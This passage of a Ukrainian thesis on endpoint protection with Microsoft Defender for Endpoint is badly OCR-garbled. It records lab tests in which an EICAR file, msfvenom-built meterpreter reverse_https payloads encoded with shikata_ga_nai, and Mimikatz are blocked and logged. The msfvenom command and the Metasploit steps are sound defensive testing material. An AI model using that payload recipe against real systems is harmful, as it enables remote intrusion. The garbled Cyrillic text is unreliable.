3.25). Hampuknan, BpasznuBicte CVE-2020-0796, sika o3Hayae, 110 y MPOTOKOJI
Microsoft Server Message Block 3.1.1 (SMBv3) icHye ypa3nuBicTh A0 BiJaICHOTO
BUKOHAHHS KOY.

Hawm Binomo, mo Endpoint Detection and Response (EDR) Biacrexye npuctpoi
KIHIICBUX KOPHCTYBauiB, MO0 BUSABIATH Ta pearyBaTH Ha Kibep3arpos3u, Taki sK
nporpaMu-BUMaradi Ta 3JJOBMHUCHE TiporpaMue 3a0e3nedeHHs. CrpoOyeMo CTBOPUTH,
3aBAHTAKUTH Ta 3aIyCTUTH KUJIbKa BIIOMHX IIKIJUIMBUX MporpaM abo J0AaTKiB, SKi

BUKOPHUCTOBYIOTHCS Y 3TOUMHHUX LIJISIX.
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3aBantaxutu ¢aitn EICAR-Test-File ne Bpanocs, ogHak cpodyemMo CTBOPUTH

Horo 1 BIIKpUTH Ha pobouiit ctaniii WS-2-1 (puc. 3.26).

Qain Peparyeatu MNepernanHyTn

X501 PH#@AP [ A\PZX54(P*)7CC)7 }$EICAR-STANDARD-ANTIVIRUS-TEST-FILE! $H+H*

Sx 6aunmo 3 Puc. 3.27 3arpo3a Oyna BusiBlieHa 1 (aiia BIZKPUTH HE BIAIOCH.

BignoBigHe moBigomMiIeHHS TakoX ImoOaumMmo Ha Biiamil “‘Incidents and alerts”

Microsoft EDR (puc. 3.28).

tory > ws-2-1

ws-2-1
No known risks mm  Criticality: Medium ® Active

Overview Incidents and alerts  Timeline  Security recommendations  Inventories  Discovered vulnerabilities ~ Missing KBs ~ Security policies

file.txt

Pucynox 3.26 - Bwmict ctBopeHoro dainy

& Ws-2-1 Banyweno] - Oracle VM VirtualBox - ] X
E 0
o Daiin  Pex F A B E
Posm
BPIA KOMaHg, 7
[pERMiA aoKyMm... 1 Kb
Bnoknor X

Operation did not complete successfully because the file
| ' contains a virus or potentially unwanted software.

Pal, cenl 100%  Windo

3axwcT Bia Bipycie i 3arpo3

BuasneHo sarposn
AHTUBIpYC

<

Enementie: 2 BuBpano enementie: 1 70 Gaiir

Pucynok 3.27 - Cnpo0a BIAKPUTTS Mi103piyioro (aiiny

Excrioprysam

Habip Ginetpis: = 36eperm

Lfonamm dinetp

[J = Incidentname Incident Id Investigation state [

D 3 “EICAR _Test_File' malware was detected on one en... 10
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Jlani copoOyeMo CTBOPUTH KOPHCHI HaBaHTaXEHHs ISl TecTyBaHHS. Bonu
JTOTIOMOXKYTh Kpaille oiiHuTH, sk EDR o00po0iisie HeBioMe IIKIJIKMBE MPOTPaMHE
3a0e3neyeHHs. 3aXUCT BiJ CTapux 3arpo3, xouya 1 KOPUCHMM, MeHII aieBuit [23].
Bukopucraemo podoty craniito Kali Linux Ta nporpamy Metasploit Framework.

Metasploit Framework — 1ie BinkpuTa miatdopma Ijist po3poOKH, TSCTYBaHHS Ta
BUKOPHUCTAHHS EKCIUIONTIB. Metasploit MICTUTh BENUKY KUIBKICTb MOIYJIB, IO
BKJIIOYAIOTh EKCIUIONTH, payload'n, mOmoMiDKHI MOIyJ Ta MOCT-EKCIUTyaTalliiiHi
MOYJIi.

Mu cTBOpUMO TEPEIIKOIy Ta 3T€HEPYEMO KilbKa KOPUCHUX HABAHTAXKEHb Ha
PI3HHX ITepallisiX CKIATHOCTI KOoayBaHHs 3a gpornomoroio Shikata ga nai (Illukara ra
Hall) kogyBaJibHUKA. Lle 3poOUTh KOPHUCHI HaBAaHTAXKEHHS YHIKAJIIBHUMHU JIJISl HAIIOTO
tecty. KonmyBansuuk Shikata ga nai 6yB gyxe eeKTUBHUM METO/IOM YHUKHEHHS, ajie
ChOTOAHI OUIBLIICTh AHTHUBIPYCHHUX NIPOrpaM Ma€ JIETKO PO3MI3HABATH METO]
KoMyBaHHs [23].

[lepmmmu kpokam Oylio 3MIHUTH cTaHaapTHUU ceptudikar SSL metasploit

(puc. 3.29-3.32).

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use auxiliary/gather/impersonate_ssl
msf6 auxiliary( ) > set RHOST example.com
RHOST = example.com
msf6 auxiliary( ) > run
Running module against 93.184.215.14

93.184.215.14:443 - Connecting to 93.184.215.14:443
.215.14:443 - Copying certificate from 93.184.215.14:443
ifornia/L=Los Angeles/O=Internet\xC2\xA@Corporation\xC2\xA0for\xC2\xA@Assigned\xC2\xA@Names\xC2\xABand\xC2\xA0
xample.org
4:443 - Beginning export of certificate files

2 4:443 - Creating looted key/crt/pem files for 93.184.215.14:443
.215.14:443 - key: /root/.msf4/loot/20240625134954 default_93.184.215.14_93.184.215.14_ke_304286.key
.215.14:443 - crt: /root/.msf4/loot/20240625134954 default_93.184.215.14_93.184.215.14_ce_502184.crt
.215.14:443 - pem: /root/.msf4/loot/20240625134954 default_93.184.215.14_93.184.215.14_pe_522645.pem
Running module against 2606:2800:21f:cb07:6820:80da:af6b:8b2c
2606:2800:21f:cb07:6820:80da:af6b:8b2c:443 - Connecting to 2606:2800:21f:cb07:6820:80da:af6b:8b2c:443
2606:2800:21f:cb07:6820:80da:af6b:8b2c:443 - 2606:2800:21f:cb07:6820:80da:af6b:8b2c:443 No certificate subject or CN f
ound
Auxiliary module execution completed
msf6 auxiliary( ) > set HANDLERSSLCERT /root/attack.
[!] Unknown datastore option: HANDLERSSLCERT.
HANDLERSSLCERT = /root/attack.crt
msf6 auxiliary(

Pucynok 3.29 - IloyaTkoBi HanamITyBaHHS

mst6 auxiliary venom -a x86 ——plattorm windows -p windows/meterpreter/reverse_https -e x86/sh
ikata_ga_nai -i 1 lport=8443 lhost=192.168.1.101 -b "\x00" -f exe -o test.exe

exec: msfvenom -a x86 ——platform windows -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai -i 1 lport=8443 lh
0st=192.168.1.101 -b "\x00" -f exe -o test.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 650 (iteration=0)

x86/shikata_ga_nai chosen with final size 650

Payload size: 650 bytes

Final size of exe file: 73802 bytes

Saved as: test.exe

msf6 auxiliary(

msf6 auxiliary(
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Pucynoxk 3.30 - CTBOpeHHsI IepUIOro KOPUCHOI'O HABAHTAKEHHS

iuxiliar

Overriding user environment
Found 1 compati encoders

(o] riding u
Found 1 ¢
mpting to
6/shikat

th
with
with
ith
with
th
with

with
ith
with
with
ith
with
ith

ration=14)

Pucynok 3.32 - CTBOpEHHS TPEThOT0 KOPUCHOTO HAaBaHTaXKEHHS

CrpoOyemMo 3amycTuTH CTBOpEHi ¢aitim Ha pobouiit crantii WS-2-1(puc. 3.33-

3.34) .
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@ W5-2-1 [3anyweno] - Oracle VM VirtualBox

Kepysarmna
QcHOBHE CRinbHMIA gocTyn Burnag 3aco6n AnA po6OTH 3 NPOrpaMamMm
« v B « [loxymenta » payloads v low pa
~

3 Wenaknit goctyn

[a] test
I PoBoumii crin

; 3asantax C\Users\Student\Documents\payloads\test.exe

| Nokymen
CA\Users\Student\Documents\payloads\test.exe

= 3obpaxe

- punnom Operation did not complete successfully because the file contains a virus or potentially

- unwanted software,
& OneDrive
@
¥ Mepexa

Pucynok 3.33 - Cnpo0Oa BIAKPUTTSA Mi103piiioro (aiiny

ﬁ WS-2-1 [3anyweHo] - Oracle VM VirtualBox

- O X
- KepyBanHa
OcHoBHE Cninernid gocryn Burnag Jaco6n AnA po6oTH 3 NPOrPaMaMK [7)
« v A « flokymenn » payloads v @ MNowyk: payload
~
m'a DNata zmineHHs un Pozmip
3 Wenakwi goctyn o
= test 25,06.2024 18 HO B
[ PoBoumii crin —— . = -
& 3asanraw] C\Users\Student\Documents\payloads\test2.exe X
= Joxymen
C:\Users\Student\Documents\payloads'test? exe
= 3obpaxel
- aunnom Operation did not complete successfully because the file contains a virus or potentially
- unwanted software,
@ OneDrive
= e
¥ Mepexa

Pucynok 3.34 - Cnpoba BIAKpUTTS MiA03puIoro danmy

ws-2-1

No known risks mm © Criticality: Medium

LRVl Windows-Workstation

Overview  Incidents and alerts ~ Timeline  Security recommendations  Inventories

Jan 2024 Feb 2004 Mar 2024

Excnoprysat

Event time |

25 ueps 2024 p. 18:49:14.751 £ MsMpEng.exe created process MpCmdRun.exe

25 uepa 2024 p. 18:45:14.751 & MsMpEng.exe created process MpCmdRun.exe

25 ueps 2024 p. 18:48:23.500 Meterpreter post-exploitation tool

25 ueps 2024 p. 18:48:23.500 Event of type [AntivirusDetectionActionType] observed on device

25 vepa 2024 p. 18:48:23.500 Event of type [Antivi ectionActionType] observed on device

25 ueps 2024 p. 18:48:23.500

Event of type [AntivirusDetectionActionType] observed on device

Discovered vulnerabilities

Missing KBs  Security baselines|

Additional information

sActivity
sActivity

SuspiciousActivity

SuspiciousActivity

Pucynox 3.35 - [loBigomiieHHs po MiA03puIl Aii
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ory > ws2-1

ws-2-1 View in map Device value Set eriticality
No known risks s Criticality: Medium © Active

Overview  Incidents and alerts  Timeline  Security recommendations  Inventories  Discovered vulnerabilities ~ Missing KBs  Security baselines  Security policies

(@ Theincident queus according to the latest automatic or manual updates made on incidents, For more information,

Excnoprysati

Habip ginutpie: =] 36epermn

i

= Incident name Incident Id

Meterpreter post-exploitation tool on one endpoint 12

Meterpreter post-exploitation tool

Malware incident on one endpoint

“Waeatac' malware was prevented

'EICAR _Test_ File' malware was prevented

Automated investigation started manually on one... 9

Informationsl o threats found Suspicious activi B3 ws-2-1ipetskyinet

Pucynok 3.36 - [loBigomiieHHs npo MiA03puIl Aii

3 BUIIENOJAHUX PUCYHKIB (puc. 3.35-3.36) MOxkeMO 3pOOMTH BUCHOBOK, IIIO
anTuBipyc Ta EDR BusiBUIIM Ta 3aBainIn BUKOHAHHIO IIKIJTUBUX JIH.

Mimikatz - e moTyxHul THCTPYMEHT JUIE POOOTH 3 O€3IMeK0r0, Po3poOICHUI
benmxaminom Jlenwmi (Benjamin Delpy), sikuii BUKOPUCTOBY€ETHCS ISl BUTSTYBaHHS
MapoJIiB Ta IHIIUX 00J1KOBUX JaHuX 3 mam'sti Windows. Mimikatz oTpumaB BU3HaHHS
32 CBOI MOXJIMBOCTI y c(epl MOCT-eKCIUTyaTalii, 30KpeMa sl TeCTyBaHHS Ha
MIPOHUKHEHHS Ta BUSBJICHHS BPA3JIMBOCTEH Y CUCTEMAX.

3aBaHTaXUMO apxiB 3 LUM I1HCTPYMEHTOM 1 CHpoOyeMO BHUKOPHUCTaTH Ha

poGouiii cranmii (puc. 3.37-3.39).

‘ ﬁ WS-2-1 [3anyweHo] - Oracle VM VirtualBox — O X
- KepyeaHHs
OcHoBHe CnineHwil gocryn Burnag 3aco6u gnA poboTk 3 NporpamaMmn 0
= o “ mimikatz_trunk » x84 v 2 Mowsyk: x64
M'A [ata smiHeHHa Tun Pozmip
st Wenakwia goctyn
mimidrv.sys 25.06.2024 19:39 WCTEMHWA dainn 3TKE
I PoBouwii ctin _I o LB o _ :
; Jaeantan] C\Users\Student\Documents\mimikatz_trunk\x64d\mimikatz.exe X __ j
= Joxymert L £
CA\Users\Student\Documents\mimikatz_trunk\ax 648\ mimikatz.exe '
= 3obpaxe
= annnom Operation did not complete successfully because the file contains a virus or potentially
- unwanted software.
& OneDrive

3 Uei NK

¥ Mepexa

Pucynox 3.37 - Cnpo6a BUKOpPUCTaHHS IHCTPYMEHTY

Jlineyvruii I1.0. Apk.

Tonosns O.C. KKIKEKPB - 125 - 11 — H3

63

3mn. | Apk. Ne 0okym. Hionuc | Hdama




@ mmm Medium mm  Criticality: Medium @ Active [l

Overview Incidents and alerts  Timeline  Security recommendations  Inventories  Discovered vulnerabilities ~ Missing KBs  Security baselines  Security policies

incident queue now displays incidents according to the latest automatic or manual updates made on incidents. For more information,
Excrioprysamu
Ha6ip dinstpis: =) 36epertu

Bopam dinetp

= Incident name Incident Id Tags Severity Investigation state < Categories Impacted assets

Multiple threat families detected on multiple end... 10 Windows Workstation High Running Credential access, Malware... I 2 Devices
Mimikatz credential theft tool Windows-Workstation High Running Credential access 2 w21
Mimikatz credential theft tool Windows Workstation High Running Credential access O w21
Meterpreter post-exploitation tool Windows-Workstation ~ WEE Medium Running Susy < O ws2-1
"Wacatac' malware was prevented Windows Workstation Informational  Running Malware O w21

'EICAR_Test_File’ malware was prevented Windows-Workstation Informational Running Malware: 8 ws21

mmn Medium BB Criticality: Medium @ Active  [JUURRESERTTE ey

Overview  Incidents and alerts  Timeline  Security recommendations  Inventories  Discovered vulnerabilities ~ Missing KBs

Jan 2024 Feb 2024 Mar 2024

Excnopryeatu

Event time | : Additional information

25 yepe 2024 p. 19:39:48.632 Mimikatz credential theft tool CredentialAccess

25 uepe 2024 p. 19:39:48.632 [ explorerexe created file mimispool.dll CredentialAccess

Pucynox 3.39 - TloBimomuienHs npo BusiBieHHs Mimikatz

3.5 HajnamTyBaHHS NOJITHKH 0e3MeKH sl KiHIeBUX NMPUCTPOIB

MAIN-AD-SRV [3anyweno] - Oracle VM VirtualBox

Dain Mawwha MNepernAg BeegeHHsa [Mpuwcrpoi  Joeigka

=
Mew-GPO >
Mame:

|End|:uoirrt Security Policy|

Source Starter GPO:

(none) -

Pucynok 3.40 - CTBOpeHHS rpymnoBOi MOJITHKHU JJIsl KIHIIEBUX MIPUCTPOIB
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Jlam HaBemeMo MPUKIIAL JUIs JESKUX HAIAIMTOBAHUX TMOJITHK JJIT CTBOPEHOI
Endpoint Security Policy (puc. 3.41-3.51).

MAIN-AD-SRV [3anyweno] - Oracle VM VirtualBox

- O X
in  MawwHa [epernsg Beegewws [puctpoi  [Josigka
& Scan all downloaded files and attachments 0 X
E‘ Scan all downloaded files and attachments % rmimisSsing Next Setting
(O Not Configured Comment:
@) Enabled
() Disabled
Supperted o0t [ ateact Windows Server 2012, Windows 8 or Windows RT

Options:

Help:

This policy setting allows you to configure scanning for all downloaded files and attachments.
1

If you enable or do not configure this setting, scanning for all downloaded files and attachments
will be enabled.

If you disable this setting, scanning for all downloaded files and attachments will be disabled.

Pucynok 3.41 - HanamryBaHHs CKaHyBaHHS /ISl 3aBAHTAKEHUX (ailiiB

AIN-AD-SRV [3anyweHo] - Oracle VM VirtualBox

MawuHa Mepernapg BeegeHwa Mpuctpoi  [losigka

b

E5] Prevent users and apps from accessing dangerous websites

) Not Configured ~ COMmMent:
(@ Enabled
() Disabled
Supperted oni [ it jeact Windows Server 2016, Windows 10 Version 1708
Cptions: Help:
Disable (Default) ~

Enable or disable Windows Defender Exploit Guard network protection to prevent emplayees from
using any application to access dangerous domains that may host phishing scams, exploit-hosting
sites, and other malicious content on the Internet.

Enabled:

Specify the mode in the Options section:

-Block: Users and applications will not be able to access dangerous domains

-Audit Mode: Users and applications can connect to dangerous domains, however if this feature
would have blocked access if it were set to Block, then a record of the event will be in the event logs.

Disabled:

Users and applications will not be blocked from connecting to dangerous domains.

Not configured:
Same as Disabled.

Pucynok 3.42 - HanamryBaHHs 3a00pOHM B1JBITyBaHHS HEOE3MEUHUX CANTIB

S MAIN-AD-SRV [3anyweno] - Oracle VM VirtualBox

®aiin MawwuHa [lepernsg Beepenws [puctpoi  [oBigka

=/ Group Policy Management Editor
File Action View Help

s 2] ca =YY 7 fo:

Lg’ Endpaint Security Policy [MAIN-AD-SRV.LIPETSKYLM A || policy . Palicy Setting
ML= C.DmpL.It.Er Configuration | Enforce password history 5 passwords remembered
w || Policies .
. . | Maximum password age 30 days
_| Software Settings Mini d 144
v [ Windows Settings ] fnfmum password age ays
: . ) | Minimum passwaord length 15 characters
_| Mame Reselution Policy . .
[ Scripts (Startup/Shutdown) _:Password must meet complexity requirements Enabled
= Deployed Printers :5tore passwords using reversible encryption Mot Defined

Pucynok 3.43 - HanamryBaHHS MOJIITUKH MApOIIIB
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% MAIN-AD-SRV [3anyweHo] - Oracle VM VirtualBox = (m] x

MNepernag BeegexHa  Mpucrp

& Turn on Script Execution x

[ Tum on Script Execution T iy

O Not Configured ~ Comment:
) Enabled
@ Disabled
Supported on: [ At east Micrasoft Windows 7 or Windows Server 2008 family
Options: Help:
Execution Policy This policy setting lets you configure the script execution policy, controlling which scripts are
¥

allowed to run
If you enable this policy setting, the scripts selected in the drop-down list are allowed to run.

The "Allow only signed scripts” policy setting allows scripts to execute only if they are signed by
trusted publisher.

The "Allow local scripts and remote signed scripts” policy setting allows any local scrips to run;
sciipts that originate from the Internet must be signed by a trusted publisher.

The "Allow all scripts” policy setting allows all scripts to run.

If you disable this palicy setting, no scripts are allowed to run.

Nete: This policy setting exists under both "Computer Configuration” and *User Configuration” in
the Local Group Plicy Editer. The "Computer Configuration” has precedence over "User

Configurstion.”

If you disable or do net configure this policy setting, it reverts to a per-machine preference setting;
the default f that is not configured is *No scripts allowed.”

Cancel Apply

Pucynox 3.44 - HanamryBaHHs mapaMeTpiB BAUKOHAHHS CKPUIITIB

MAIN-AD-SRV [2anyweno] - Oracle VM VirtualBox - o X

Mepernan  BaedeHHs  Mpucry

&

=] Configure Automatic Updates Previous Setting Next Setting

() Not Configured ~ Comment:
(®) Enabled
O Disabled
Supported ni [\indows XP Professional Service Pack 1 or At least Windows 2000 Service Pack 3
Option 7 only supported on servers of at least Windows Server 2016 edition
Options: Help:
Configure sutomatic updating | [Specifies whether this computer will receive security updates and other important downloads ~
through the Windows automatic updating service.
3 - Auto download and natify for install v

Mote: This policy does not apply to Windows RT.
The following settings are only required and applicable if 4 is selected

Install romti . This setting lets you specify whether automatic updates are enabled on this computer, If the service
nstall during automatic maintenance is enabled, you must select one of the four options in the Group Policy Setting:

Scheduled nstsll day: |2 - Every Manday hd 2 = Notify before downloading and installing any updates.
Scheduled install time: [09:00 v ) ) ) )

When Windows finds updates that apply to this computer, users wil be notified that updates are
1f you have selected *4 - Auto download and schedule the install” for your ready to be downloaded. After going to Windows Update, users can download and install any
schedulad install day and specified a schedule, you alss have the option to limit | | available updates,
updating to a weekly, bi-weekly or monthly occurrence, using the options
oeion 3 = (Default setting) Download the updates automatically and notify when they are ready to be

installed
Every week

Windows finds updates that apply to the computer and downloads them in the background (the
user s not notified or interrupted during this process). When the downloads are complete, users will
be notified that they are ready to install. After going to Windows Update, users can install them.

First week of the month
[ Second week of the month
4 = Automatically download updates and install them on the schedule specified below.
[ Third week of the month d P P
When "Automatic” is selected as the scheduled install time, Windows will automatically checl
[] Feurth week of the month ol

download, and install updates. The device will reboot a5 per Windows default settings unless
configured by group policy. (Applies to Windouws 10, version 1809 and higher)

< > Specify the schedule using the options in the Group Policy Setting. If no schedule is specified, | v

Cancel Apply

Pucynok 3.45 - HanamTyBaHHS MOJIITUKA OHOBJIEHB
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MAIN-AD-SRV [3anyuieHo] - Oracle VM VirtualBox

in MH

Nepernsg

B\ Choose default folder for recovery password

BefieHHs  [1pucT]

[} Choose default folder for recovery password

Mext Setting

O Not Configured ~ COMment:

@ Enabled

O Disabled

Supported on: [ a¢ least Windows Vista

Options: Help:

Configure the defoul: folder path:  [EAimportant-folder

the path,

For example, enter "\\server\backupfolder”, or
SecureDriveEnviranmentVariable3t\backupfolder”

Note: In all cases, the user will be able to select other folders in which to save
the recovery password.

afolder.

folder.

This policy setting allows you to specify the default path that is displayed when the BitLocker Drive
Encryption setup wizard prompts the user to enter the location of 2 folder in which to save the
Specify a fully qualified path or include the computer's envircnment variables in recovery password. This pelicy setting is applied when you turn on BitLocker.

If you enable this policy sefting, you can specify the path that will be used as the default folder
location when the user chooses the option to save the recovery password in a folder. You can specify
either 2 fully qualified path or include the target computer's environment variables in the path. If the
path is not valid, the BitLocker setup wizard will display the computer's top-level folder view.

If you disable or de net configure this policy setting, the BitLocker setup wizard will display the
computer's top-level folder view when the user chooses the option to save the recovery password in

Mote: This palicy setting does not prevent the user from saving the recovery password in another

Pucynok 3.46 - HanamryBaHHs Nanku sl BITHOBIICHHS TAPOJIO

ﬁ MAIN-AD-SRV [3anyweno] - Oracle VM VirtualBox

®ailn  Mawuda [Mepernsg BeegeHHs Mpuctpol  [Josigka

5] Group Policy Management Editor

- x
File Action View Help
Lol Al (NERN 7 Nl ¢
» [ Poficies [ BitLocker Drive Encryption
[y Softwere Settings Select an item to view its description.  Setting - State
“| Windows Settings -
~ (] Administrative Templates: Policy definitio | Fixed Data Drives

“| Control Panel “| Operating System Drives

| Network “| Removable Data Drives

-] Printers hoose default folder for recovery password Enabled

“| Server | Choose drive encryption method and cipher strength (Wind... Enabled

7| Start Menu and Taskbar 2] Choose drive encryption method and cipher strength (Wind... Mot configured

7 System 2] Choose drive encryption methed and cipher strength (Wind... Mot configured

v (7] Windows Components Cheose how users can recover BitLocker-protected drives (.. Enabled
1 ActiveX Installer Service | Disable new DMA devices when this computer is locked Mot configured
-] Add features to Windows 10 |i=| Prevent memory overwrite on restart Not configured
- App Package Deployment \iz| Previde the unique identifiers for your erganization Mot configured
- App Privacy \iz| Store BitLocker recovery informatien in Active Directory Do... Enabled
1 App .runt.\ma . |iz| Validate smart card certificate usage rule compliance Mot configured
| Application Compatibility
SR ST SN,
Pucynok 3.47 - HanamryBanss mm@pyBaHHs
@ MAIN-AD-SRV [3anyuieHo] - Oracle VM VirtualBox — O X

@aiin MawwuHa [epernAg Beegedws Npuctpoi  Josigka

=l Group Policy Management Editor

- X
File Action View Help
e=|nm = Eml T
| Distributed COM & " Removable Storage Access
7| Driver Installation Sett - Stat
| Early Launch Antimalware CD and DVD: Deny execute access ing ate

| Enhanced Storage Access

x Edit policy setting
_| File Classification Infrastructure

~| File Share Shadow Copy Provider Requirements:

| Filesystem At least Windows Server 2008 R2 or

“| Folder Redirection Windows 7

| Group Policy . Description:

el Internet Communication Manager This policy setting denies execute

- iscsl access to the CD and DVD removable
| KDC storage class.

| Kerberos i X

| Kernel DMA Protection If you enable this policy setting,

execute access is denied to this

| Locale Services removable storage class.

| Logon

~| MNet Logon policy setting, execute access is
= 05 Policies allowed to this removable storage

. class,
| PIN Complexity

| Power Management

| Recovery

| Remote Assistance

| Remote Procedure Call

| Removable Storage Access
| Scripts

~| Mitigation Options If you disable or do not configure this

WPD Devices: Deny write access
WPD Devices: Deny read access

|i=| Tape Drives: Deny write access

Tape Drives: Deny read access

Tape Drives: Deny execute access
Set time (in seconds) to force reboot
Removable Disks: Deny write access
Removable Disks: Deny read access
Removable Disks: Deny execute access
\i=| Floppy Drives: Deny write access
Floppy Drives: Deny read access
Floppy Drives: Deny execute access
Custom Classes: Deny write access
Custom Classes: Deny read access
CD and DVD: Deny write access

D and DVD: Deny read access

Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Enabled
Enabled
Enabled
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Enabled
Enabled
Enabled

All Removable Storage: Allow direct access in remote sessions Mot configured

All Removable Storage classes: Deny all access

Mot configured
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% MAIN-AD-SRV [3anyweHo] - Oracle VM VirtualBox

Mepernsg

2 Group Policy Management

BegedHs  Mpucrpoi  [osigka

5 File  Action View Window Help

e HE dH=

L

|2 Group Policy Management

Vv _ﬂ Forest: lipetskyi.net

~ (£ Domains

~ [ lipetskyi.net
s/ Default Domain
=/ Endpoint Securi
+ 2] Demain Contro
s/ Default Dorrl
LAN-A
| LAN-B
= LAN-C
" Group Palicy OY
% WM Filters
[ Starter GPOs

[ Sites

g Group Policy Modeling
¢ Group Policy Results

Endpoint Security Policy
Scope Details Settings  Delegation

Endpoint Security Policy
Data collzcted on: 6/3/2024 1:53:.16 FM
General
Details
Domain lipetskcyi net
Owner LIPETSKY Nipetskyi
Created €/3/2024 1:15:40 FM
Modified 6/3/2024 1:4520 FM
User Revisions D{AD), D (SYSVOL)
Computer Revisions 47 (AD). 47 (SYSVOL)
Unique 1D {CF3975D1-CF24-4ED3-9C21-A4EIBTAETOEZ}
GPO Status Enabled
Links
Location Enforced Link Status Path
lipetskyi No Enabled lipetskyi.net
This list only includes links in the domain of the GPO
Security Filtering
The settings in this GPO can only apply to the following groups. users. and computers:
Name:
NT AUTHORITY Authenticated Users
Delegation

Pucynok 3.49 - Pe3ynbTaT CTBOPEHO1 MOMITUKH

@ MAIN-AD-SRV [3anyweHo] - Oracle VM VirtualBox

Nepernag Beege! Mpuctpoi  fosi

|5 Group Policy Management

15 File Actich View Window Help

&= | 7|5

|5 Group Policy Management
~ A\ Forest: lipetskyi.net
v [£4 Domains
v 3 lipetskyi.net

Endpoint Security Policy
Scope Details Settings  Delegation

s Default Domain Computer Configuration (Enabled)
s Endpoint Securi
i Default Do Windows Settings
31 LAN-A
21 LAN-B Security Settings
3| LAN-C - -
- Account Policies/Password Policy
5 Group Policy Of
- WMI Filters : .
T Policy Setting
]| Starter GPOs
i Sites Enforce password history 5 passwords remembered
Group Policy Modeling Maximum password age 30days
£ Group Palicy Results Minimum password age 14 days
Minimum password length 15 characters
Password must mest complexity requirements Enabled

Administrative Templates

Palicy defintions (ADMX files) retrieved from the local computer.

System/Device /Device 3
Policy Setting Comment
Prevent installation of removable devices Enabled

System/Removable Storage Access

Policy Setting Comment
CD and DVD: Deny exscute access Enabled
CD and DVD: Deny read access Enabled
N and NV Nenv wite arness Fnahlad

Pucynox 3.50 - Pe3ynbTaT CTBOPEHOI MOIITUKH
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| MAIN-AD-SRV [3anywero] - Oracle VM VirtualBox - [m] X

®aiin  Mawwxa Mepernan  Beepewws  Mpuctpoi  Jlosigka

|5 Group Policy Management - X
g File Action View Window Help - &
= nE Gl HE

5 Group Policy Management || Endpoint Security Policy

~ £\ Forest: lipetskyi.net

Scope Details Settings Delegation
w 54 Demains .
v 3 lipetskyinet Linkes
s/ Default Domain Display links in this location: lipetskyi net -
si/ Endpoint Securi| | The following sites, domains, and OUs are linked to this GPO:
~ (2| Domain Contro =
[ Default Dorr Location Enforced Link Enabled Path
51 LAN-A Falpetskyinet No Yes petskyi net
21 LAN-B
21 LAN-C
= Group Policy OY
= WMI Filters
] Starter GPOs

i Sites
{9 Group Policy Modeling

< Group Policy Results
= Security Filtering
The settings in this GO can only apply to the following aroups, users, and compuers

Name

2, Autherticated Users

1% WS-1-15 (LIPETSKYIWS-1-18)
1% WS-2-15 (LIPETSKYINWS-2-18)
1R WS-3-18 (LIPETSKYINWS-3-18)

Pucynok 3.51 - JlogaBaHHs KIHIIEBUX BY3JIIB J0 MOJITUKH

BucHOBKM 10 TPETHOI0 PO3aiLy
VY TperboMy po3iii OyJ0 peanizoBaHO 3aXHMCT KIHIEBUX BY3JiB 3a JOIMIOMOIOIO
EDR mnatdopm. CrouaTky HanallTyBajld MEpPEKEBE O0JaHaHHA, 3a0€3MeUHBIIH
1H(pacTpyKTypy A NoJaidbnX KpokiB. [ani BcranoBuiu Active Directory Ha 6a3i
Windows Server 2019 nns 1eHTpali30BaHOTO KEpPyBaHHS KOPHUCTyBayaMu Ta

pecypcami.

Hactynnum eranom Oyno HanamryBanHs Microsoft Defender for Endpoint, mio
3a0e3Meumiio 3aXMCT KIHIEBHX TOYOK Bia KiGep3arpo3. Hapemri, 3mificHuIM
BUSIBJICHHSI Ta aHall3 peajbHUX 3arpo3, MOHITOPSYM AaKTUBHICTb y MEpexi Ta
pearyroud Ha MOTEHUIMHI IHUMJAEeHTH Oe3neku. Bukopuctanns EDR-nmardgopm
JI03BOJIMJIO OTIEPATHUBHO 17IEHTU(DIKYBATH MA03PLTY aKTUBHICTH, POBECTHU JCTAITBHHMA

aHaJi3 1HIUAEHTIB Ta BXKUTH BIAMOBIIHUX 3aXO0A1B JUIS 1X HEUTpati3allii.

Oco6nmBy yBary OyJji0o MPUIUICHO HAJAIITYBAaHHIO TMOJITUKU O€3IMeKH IS
KIHLIEBUX MpHUCTpoiB. lle BkiIIoYano BU3HAYEHHS NpPaBUI JOCTYMYy, LIH(PpPYyBaHHS
JTAHUX, MOHITOPUHT aKTUBHOCTI KOPUCTYBAulB Ta pearyBaHHs Ha 1HUUJEHTH O€3IEKH.
BrpoBakeHi NOJITUKYA JO03BOIMIN €(PEKTUBHO YIPABISATH PU3HKAMU Ta 3a0€3MEeUUTH

BHUCOKHI PIBEHD 3aXHCTY MEPEXKI.
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TakuM 4YUHOM, y TPETbOMY PO3[iTl CTBOPEHO KOMIUIEKCHY CHUCTEMY 3aXHCTy
KiHIICBUX BY3JiB, $SKa BUKOPHCTOBYe cydacHi EDR-mmatdopmum Ta Mepexese
oOnamHaHHS A7 3a0e3MedYeHHs BHCOKOTO piBHS Oe3meku. PeamizoBani 3axomau
JIO3BOJIAIOTh  €()EKTUBHO 3axWIaTH MEpPEeXy Bijg Kkibep3arpos, 3abe3neuyroun

cTabiIpHy Ta 6e3reuHy poOOTy opraHizarii.

BUCHOBKH

VYV miil kBamigikamiiiHii poOOTI OyJ0 AOCHIIHKEHO Ta peani30BaHO 3aXUCT
KIHIIEBUX BY3J]B 3 BUKOpUCcTaHHAM EDR mardopm, 1mo crnpuse migBUIIEHHIO PiBHS
oesriekn B Mepexax. OCHOBHUI pE3yNbTaT JOCSATHYTHH Yy BIAMOBIIHOCTI JI0
MOCTAaBJICHOI METH — PO3pOoOKa Ta BIPOBAIKEHHS €()EKTUBHOI CHUCTEMH 3aXUCTY
KIHIIEBUX BY3.iB 3 BUKopuctanHsaM EDR mmardopm.

[lepmmii po3ain NpUCBIYEHUI OCHOBAM KIHILIEBUX BY3JIIB y Mepexax Ta iXHIi
poni B 3abe3rneueHHi Oe3neku. OMUCYIOThCS OCHOBHI 3arpo3d Ta THUIM aTak, sKi
MOXYTb OYyTH CHPSIMOBaHI Ha TEPCOHAIBHI KOMMI'IOTEPU Ta MOOUIBHI MPUCTPOI.
Po3riissHyTO pi3HI METOAM Ta 3aCO0M 3aXMCTY KIHIIEBUX BY3J11B, aKI[EHTYIOUM yBary Ha
